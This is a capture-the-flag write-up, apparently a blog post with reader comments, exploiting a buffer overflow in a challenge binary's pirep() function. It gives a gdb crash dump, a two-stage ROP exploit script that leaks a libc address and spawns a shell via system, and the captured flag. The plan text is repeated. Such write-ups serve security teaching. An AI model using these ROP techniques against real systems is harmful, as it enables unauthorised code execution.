We were given a ELF 64-bit LSB executable. Its running on 50.112.133.81 30002. After analysing the binary, we found a buffer overflow vulnerability in pirep() function. This is how to trigger the vulnerability
[*] Compute the offset difference between __libc_start_main and system functions from the given libc.so.6 file
[*] Leak randomized address of __libc_start_main from the GOT entry of the executable
[*] Add the offset to the leaked address, this will give the address of randomized system function
[*] Load the registers with needed arguments, x86-64 uses different calling convention
[*] Jump into system function in libc to execute commands
To load register EDI .ie argument number 1, I used the below gadget
Stage ONE:
[*] Overwrite RBP with .bss address
[*] Overwrite RIP with address of gadget mov edi, dword [rsp+0x30] ; add rsp, 0x38
[*] Fill stack such that EDI is loaded with GOT address of __libc_start_main
[*] Return into address 0x0040174a, this is call to puts() in main() function. This also results in code replay
[*] Call to puts(), will leak address of randomized __libc_start_main
Stage TWO:
[*] RBP is restored to stack due to call of pirep() again from main()
[*] Fill stack using read(0, $RBP-0x90, 0x400) such that saved RIP points to gadget mov edi, dword [rsp+0x30] ; add rsp, 0x38
[*] Load EDI with the address of "sh" string
[*] Compute address of system function(leaked address + offset) and return into this address
Below is the exploit:
(gdb) run Welcome to Florida Gainesville Radio Flight Service Station Would you like to: 1) File a flight plan 2) Open or Close a flight plan 3) List flight plans on file 4) Get airport weather information 5) Submit a PIREP 6) Quit > 5 Please enter coded PIREP: UB /OV OKC /TM 1522 /FL 080 /TP CE172 / AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC Invalid Report Type, consult documentation Program received signal SIGSEGV, Segmentation fault. 0x000000000040171c in pirep () (gdb) info registers rax 0x2b 43 rbx 0x0 0 rcx 0xffffffff 4294967295 rdx 0x38b7d7ae10 243602533904 rsi 0x7ffff7ffc000 140737354121216 rdi 0x0 0 rbp 0x4242424242424242 0x4242424242424242 rsp 0x7fffffffe128 0x7fffffffe128 r8 0x542074726f706552 6061973133285418322 r9 0x6e6f63202c657079 7957688056421904505 r10 0x636f6420746c7573 7165055622724744563 r11 0x246 582 r12 0x400820 4196384 r13 0x7fffffffe230 140737488347696 r14 0x0 0 r15 0x0 0 rip 0x40171c 0x40171c <pirep+487> eflags 0x10206 [ PF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) x/i $rip => 0x40171c <pirep+487>: retqSending a PIREP in proper format with 160 bytes overwrites saved RIP. Input is taken using read function as read(0, $RBP-0x90, 0x400). NX, stack and libc ASLR are enabled. We need to built a ROP payload to bypass these protections. Along with the binary, we also have the libc library used in the remote machine. Here is the plan of the exploit:
[*] Compute the offset difference between __libc_start_main and system functions from the given libc.so.6 file
[*] Leak randomized address of __libc_start_main from the GOT entry of the executable
[*] Add the offset to the leaked address, this will give the address of randomized system function
[*] Load the registers with needed arguments, x86-64 uses different calling convention
[*] Jump into system function in libc to execute commands
To load register EDI .ie argument number 1, I used the below gadget
0x004018b0 : mov edi, dword [rsp+0x30] ; add rsp, 0x38 ; retSince I couldn't find much gadgets to load other registers, puts() function was used for information leak. Unlike write(), puts() takes only one argument, so its enough to load register EDI with the GOT address of __libc_start_main. Here is the exploit structure
Stage ONE:
[*] Overwrite RBP with .bss address
[*] Overwrite RIP with address of gadget mov edi, dword [rsp+0x30] ; add rsp, 0x38
[*] Fill stack such that EDI is loaded with GOT address of __libc_start_main
[*] Return into address 0x0040174a, this is call to puts() in main() function. This also results in code replay
[*] Call to puts(), will leak address of randomized __libc_start_main
Stage TWO:
[*] RBP is restored to stack due to call of pirep() again from main()
[*] Fill stack using read(0, $RBP-0x90, 0x400) such that saved RIP points to gadget mov edi, dword [rsp+0x30] ; add rsp, 0x38
[*] Load EDI with the address of "sh" string
[*] Compute address of system function(leaked address + offset) and return into this address
Below is the exploit:
#!/usr/bin/env python import struct import socket ip = "50.112.133.81" port = 30002 soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.connect((ip, port)) print soc.recv(1024) libc_start_main = 0x0000000000021680 system = 0x0000000000045660 got_libc_start_main = 0x000000602240 PIREP = "UB /OV OKC /TM 1522 /FL 080 /TP CE172 / " # PIREP format option = "5" JUNK = "MOVEMOVE" ################################# stage 1 #################################### print soc.recv(1024) soc.send(option + "\n") print soc.recv(1024) payload = PIREP payload += "A" * 104 payload += struct.pack("<Q", 0x006022a0) # .bss address for RBP payload += struct.pack("<Q", 0x004018b0) # mov edi, dword [rsp+0x30] ; add rsp, 0x38 payload += JUNK * 6 payload += struct.pack("<Q", got_libc_start_main) payload += struct.pack("<Q", 0x0040174a) # replay code from call to puts() in main() soc.send(payload + "\n") leak = soc.recv(1024) addr = struct.unpack("<Q", leak[43:49] + "\x00\x00")[0] print hex(addr) ################################# stage 2 #################################### print soc.recv(1024) soc.send(option + "\n") print soc.recv(1024) payload2 = PIREP payload2 += "A" * 104 payload2 += struct.pack("<Q", 0x006022a0) # .bss address for RBP payload2 += struct.pack("<Q", 0x004018b0) # mov edi, dword [rsp+0x30] ; add rsp, 0x38 payload2 += JUNK * 6 payload2 += struct.pack("<Q", 0x0040046e) # addr of sh string payload2 += struct.pack("<Q", (system - libc_start_main) + addr) # address of system soc.send(payload2 + "\n") soc.send("cat flag\n") print repr(soc.recv(1024))
[ctf@renorobert fss_gainesville]$ python exploit.py Welcome to Florida Gainesville Radio Flight Service Station Would you like to: 1) File a flight plan 2) Open or Close a flight plan 3) List flight plans on file 4) Get airport weather information 5) Submit a PIREP 6) Quit > Please enter coded PIREP: 0x7f732a1a5680 > Please enter coded PIREP: 'this_sexy86_n0t_mucho_2_$ay_:|\n'The flag for the challenge is this_sexy86_n0t_mucho_2_$ay_:|
How do you find the gadget mov edi, dword [rsp+0x30] ? any tools?
ReplyDeleteYeah, I generally use rp++ to find the gadgets
Deletehttps://github.com/0vercl0k/rp
You also have the gadget to load esi (ie argument 2)
(gdb) x/10i 0x004018ab
0x4018ab <__libc_csu_init+123>: mov esi,DWORD PTR [rsp+0x28]
0x4018af <__libc_csu_init+127>: mov r15,QWORD PTR [rsp+0x30]
0x4018b4 <__libc_csu_init+132>: add rsp,0x38
0x4018b8 <__libc_csu_init+136>: ret
(gdb) x/10i 0x004018b0
0x4018b0 <__libc_csu_init+128>: mov edi,DWORD PTR [rsp+0x30]
0x4018b4 <__libc_csu_init+132>: add rsp,0x38
0x4018b8 <__libc_csu_init+136>: ret
Both these gadgets are part of __libc_csu_init. So I think it will be found in all executables